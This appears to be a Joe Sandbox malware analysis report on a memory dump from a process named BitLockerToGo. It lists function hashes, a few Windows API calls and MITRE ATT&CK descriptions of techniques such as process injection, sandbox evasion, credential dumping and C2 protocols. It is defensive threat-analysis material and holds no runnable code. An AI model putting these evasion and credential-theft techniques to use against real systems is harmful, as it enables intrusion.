Instruction Fuzzy Hash: EF816B70600B018FD725CF28C491B63B7E5FF5A315F148AADD8AA87692E774F849CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B557D5 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62358af8e903dc79e518bd1a1df4f3a883dbfa6595f84bd97588d2868dc923d2
Instruction ID: 484b3c045d85c212d3b7cbf5976cab8074bbb5358fce2bef2db12af0624bcdf4
Opcode Fuzzy Hash: 62358af8e903dc79e518bd1a1df4f3a883dbfa6595f84bd97588d2868dc923d2
Instruction Fuzzy Hash: 9F51E0A2900625C3CB349F24C8A277373F1FFA5366B5885D8EC964B390F739A949C790

Uniqueness

Uniqueness Score: -1.00%

Function 00B5DB00 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2390632b6941d51fd1cfbba1dcb3c16fcc42fd8e713c1a2b8dc9cf194b3d12c3
Instruction ID: e63c6c6d222cd6565e0742d59b233980623adf5de05bcc970f84732892d60854
Opcode Fuzzy Hash: 2390632b6941d51fd1cfbba1dcb3c16fcc42fd8e713c1a2b8dc9cf194b3d12c3
Instruction Fuzzy Hash: 03617C75508302DFD314CF14D890B2AB7E5FF89716F098AACE886973A0DB74E845CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00B77090 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbc5abad996672f1a45e4ee74135ca59843cb83727992447485a450cc8c3834
Instruction ID: 9fcaa14cf133127948c813fd695f592934839ec887842a8d286cc4d92a9ef0ef
Opcode Fuzzy Hash: 6fbc5abad996672f1a45e4ee74135ca59843cb83727992447485a450cc8c3834
Instruction Fuzzy Hash: AB519BB15087458FE714DF29D8A475BBBE1EB84308F10892DE4E987391E779DA09CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00B55470 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f058ef4ce0bfeeb7911a8af700bd64aeea20869f2ffd3073e73ae37b3dc8b1
Instruction ID: 0a8932957f0624d563988a099668ff24c69dc70befbac7a30cd7d0ae212da138
Opcode Fuzzy Hash: a8f058ef4ce0bfeeb7911a8af700bd64aeea20869f2ffd3073e73ae37b3dc8b1
Instruction Fuzzy Hash: C74124B19087048BD730AF58E8D076AB7E9EB65327F1945E8EC9947381F771E808C792

Uniqueness

Uniqueness Score: -1.00%

Function 00B54D32 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8dfe211babbcd496a966c71f429df966c17e179d78ae6d73aba168f6cefa45e
Instruction ID: 3e326162ea9f432bddc812e49496f57e17f18d36c87f245f4d67906134453600
Opcode Fuzzy Hash: d8dfe211babbcd496a966c71f429df966c17e179d78ae6d73aba168f6cefa45e
Instruction Fuzzy Hash: A4414974204B008FD728CF25D4A1B77B7E2FB8930DF185A9DC9AB47A96C731A845CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00B50390 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bce2289b872e0cfd5d8e4894c8d78d0a65a3ecd13cb7067e1c0c32f794035ae
Instruction ID: bf352ea5153a3827da3badea096ff38fbdba9fa9087e177f7cc19e61eaab4de9
Opcode Fuzzy Hash: 9bce2289b872e0cfd5d8e4894c8d78d0a65a3ecd13cb7067e1c0c32f794035ae
Instruction Fuzzy Hash: 7C410B762182504FE3089A39C8A037EBBD2DFC9351F158AADF5E9473D1D6388947EB11

Uniqueness

Uniqueness Score: -1.00%

Function 00B56D57 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a773b9b1eb11f0c0b37ff9d084e19c745229ad508f3eab3845806951445efff4
Instruction ID: ca33ad21937425fdcb1a2ec48f06fe7801f32b941eec8a36730b7c9d9e7c0ff1
Opcode Fuzzy Hash: a773b9b1eb11f0c0b37ff9d084e19c745229ad508f3eab3845806951445efff4
Instruction Fuzzy Hash: 4B419E741083818FD724CF14C891BABB7F1FF85359F808A4CF9968B2A1D7759909CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00B43360 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b15d53ce87d668aca2a1bf8395c834bcfe91a9f95cd9e8783d9b44765834c1
Instruction ID: 84f3005503a8b32a79d343be700ba8fa4a2e3923abeca029ab4dfbad008c8970
Opcode Fuzzy Hash: 51b15d53ce87d668aca2a1bf8395c834bcfe91a9f95cd9e8783d9b44765834c1
Instruction Fuzzy Hash: 92213835B241720BD790CE398CD017BB7D2DBC6312B1E42B9DAD0973A3C922DA0AD360

Uniqueness

Uniqueness Score: -1.00%

Function 00B42650 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7837847baf4d7a702fb64cb8fdb37515a39ded7ff7efed2f93baf57a950bc02d
Instruction ID: a5498553f67d6e24d4b9f79b7c8e4ac1d884ae2fc5732317c53ad50f8e7b88d4
Opcode Fuzzy Hash: 7837847baf4d7a702fb64cb8fdb37515a39ded7ff7efed2f93baf57a950bc02d
Instruction Fuzzy Hash: AF31E5346082109BD7149F58C880A2AB7E1EFC4318F5A89BDF899CB351D731DE52FB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B4FE47 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a905ee2a1d789b1964cc5d87be1e1d9e3a3409cee85489caf2e539e7addd9d
Instruction ID: 90646786528694ef0bcae18ffd50da52dcee19491c2a9799364422009181373c
Opcode Fuzzy Hash: c3a905ee2a1d789b1964cc5d87be1e1d9e3a3409cee85489caf2e539e7addd9d
Instruction Fuzzy Hash: 8A212776608351AFD314CF24C89475BFBE2BBC8714F498A1DF899A7291D770EA04CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00B750A0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a4b35647eb221eb57bcca558df2f1f45e88f5e23fa355babb793f2dcc0ce60e3
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: A511E933B055D40EC3268D3C8850665BFE35A93335B69C3D9F4BD9B2D2DA238D8A8354

Uniqueness

Uniqueness Score: -1.00%

Function 00B658B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3126e878867258bebc8578ed967df2430b67335de5c6ce3b18da37751b9c99
Instruction ID: b5a2200b45c58598c34baf612f3202aaa529a7f521ebfc9216a4c205a9758131
Opcode Fuzzy Hash: be3126e878867258bebc8578ed967df2430b67335de5c6ce3b18da37751b9c99
Instruction Fuzzy Hash: CC01D4F1B00B0187EB30AE2494C073BB2E8AF84714F0844BCEA4947642DFB9ED24D6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00B7A930 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dde57adef1d721e5eca57e5cb58ff222b1160b2bddb280c4d5574ceb6a49f3d
Instruction ID: f0991e40780f661a73517b6a52978c88c12b769e62b18c1aeda1b6c0419d48c9
Opcode Fuzzy Hash: 9dde57adef1d721e5eca57e5cb58ff222b1160b2bddb280c4d5574ceb6a49f3d
Instruction Fuzzy Hash: D821ACB2619301AFE708CF25D851B1FBBE2ABC5314F58CA1CE8A497341D738D9068B87

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DFE0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4b155c915e11dc12f0216b57c55098f890df1d55a025ca6babf99b32d57a7b
Instruction ID: e0d81b37182cbfb8004bae75f85be2bca7c1e1e471c4b26021b9c268daa2964b
Opcode Fuzzy Hash: ee4b155c915e11dc12f0216b57c55098f890df1d55a025ca6babf99b32d57a7b
Instruction Fuzzy Hash: 740128848085E0069226036241757B7BEE99C5F3097CEC8CEE4FE2B653D24ADD089FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D265 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1d570ba628c58bf74e244adbd158ee00b37d5c05041d31f30ead18bcfdbecc
Instruction ID: ad9eb81edd234c2beb5506e7f29b3f500ddb8cb84e48727ca1894f8d1b01f71e
Opcode Fuzzy Hash: bd1d570ba628c58bf74e244adbd158ee00b37d5c05041d31f30ead18bcfdbecc
Instruction Fuzzy Hash: E7F0A07AA001108BCB1CCF16CC51536B3F2EB85340B0CE02EE88AE3250DA38DC41CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00B56F3B Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de63c2c6c80032ba815e73f78f836ddfea2a49aa03e92a542d919723432e76e8
Instruction ID: 4743b7bded1b58fda4e0a71a3a77b2483f511eb08d81cb4e469c8d8a42425f59
Opcode Fuzzy Hash: de63c2c6c80032ba815e73f78f836ddfea2a49aa03e92a542d919723432e76e8
Instruction Fuzzy Hash: EAF0D4706193418FC344CF18E19092AB7F1EB8A619F94285CE881A7252CB20DC0ACB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00B4D650 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: c5c2c148e9f66dd44e7cc3264d17e4b5d05b50f5d7bd139b1ba0558435c78c16
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 2FD0A7616487A50E57588D3844A0977FBE8EA47612F1825DEE4D5E3109D234DD015698

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D48A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be41d7c84a71cc85b00e2a8a3b80ac00a502b17a18c21b36ee406cdd16475ee
Instruction ID: 20a0e413d204a837d99a989bd895c0999acbc99f7c77d6b7ae1b71be4bd67adf
Opcode Fuzzy Hash: 3be41d7c84a71cc85b00e2a8a3b80ac00a502b17a18c21b36ee406cdd16475ee
Instruction Fuzzy Hash: 9ED0C934614144CBC208CE74D880D7AB376AF8A308B10E158D54653726C770E8028A08

Uniqueness

Uniqueness Score: -1.00%

Function 00B7E09F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44f8de91326d35a1fdc2feaf4d904ef1d7d5b0413eeacc8f3744af62fa886b5
Instruction ID: 2baa59bf86f857a3d541656d1f879d8441aa9e9b9c3ae4f734a5d8e2cf2a4654
Opcode Fuzzy Hash: b44f8de91326d35a1fdc2feaf4d904ef1d7d5b0413eeacc8f3744af62fa886b5
Instruction Fuzzy Hash: FFD002B45581058FD74CCF04D850D35FBB6EF96314B14E41DD49A17766C6309416DB1C

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C436 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8959dbd8ba0a7be6ecc726453a8a2e7eec0c84a79d17e24c4249f6390ecd8ce4
Instruction ID: dee9973772d8eccc1f7e19344c239a1c063204cf80584b869147508caac382b0
Opcode Fuzzy Hash: 8959dbd8ba0a7be6ecc726453a8a2e7eec0c84a79d17e24c4249f6390ecd8ce4
Instruction Fuzzy Hash: C5C04C74A4810097D64CCF04D950435B376BB8B645724E00AC15253369D6349411C649

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DE9C Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ede684d84347da4f268af03338800156bc1a0148d483310f7c8aeadb11ffe28
Instruction ID: 81859c08e228c719d6c651e44f84182d9b62d16278c9818c527cc64fbcecf3d8
Opcode Fuzzy Hash: 9ede684d84347da4f268af03338800156bc1a0148d483310f7c8aeadb11ffe28
Instruction Fuzzy Hash: 5BC00270A0C340DBD746CE01C14466AF3F5BB96318F10E91CE19A2B241C235ED049B46

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D4E8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f106ae2d7fe17d3a0ce805f83ea2209c32dd610318303a472081a823556b6cd
Instruction ID: 738a8a8db1e5dcc3f72d5c4a82d03c959f479d6d30d5d01bb41e1248544e5abd
Opcode Fuzzy Hash: 1f106ae2d7fe17d3a0ce805f83ea2209c32dd610318303a472081a823556b6cd
Instruction Fuzzy Hash: D9B0927590C000CB8148CF11EC20E30B336A78B224B2A300C8402233B2CA30A422DB0C

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DEB1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cec6a26253af59a2a21650884efd02807bc3a63d8d62a4a557ed1da8606d673
Instruction ID: 90fbbc14ed3223ce1bd5e9c154577ff5acd3f19452f7cfd981e12edfdcbbd74e
Opcode Fuzzy Hash: 1cec6a26253af59a2a21650884efd02807bc3a63d8d62a4a557ed1da8606d673
Instruction Fuzzy Hash: 15B00934B4C1009BC709DE18D29187AF3F9AB9F701F21A959A48AA7255C630EC01AA4A

Uniqueness

Uniqueness Score: -1.00%

Function 00B70F58 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00B70FE4
GetSystemMetrics.USER32 ref: 00B70FF5
DeleteObject.GDI32 ref: 00B71054
SelectObject.GDI32 ref: 00B710A5
SelectObject.GDI32 ref: 00B71145
DeleteObject.GDI32 ref: 00B71182

Strings

, xrefs: 00B71118

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 5440f99c28874fd9f40befe0ed452bd161184d3fc765efc371b2c3e438002b2a
Instruction ID: c98e78d35f2c11cd98f91ffd698844a5e20dc854b4027f1dbfdd72a519210fba
Opcode Fuzzy Hash: 5440f99c28874fd9f40befe0ed452bd161184d3fc765efc371b2c3e438002b2a
Instruction Fuzzy Hash: E1918BB4905B019FD364EF69D985B16BBF0FF49300F10892DE99A8B760DB31A845CF52

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
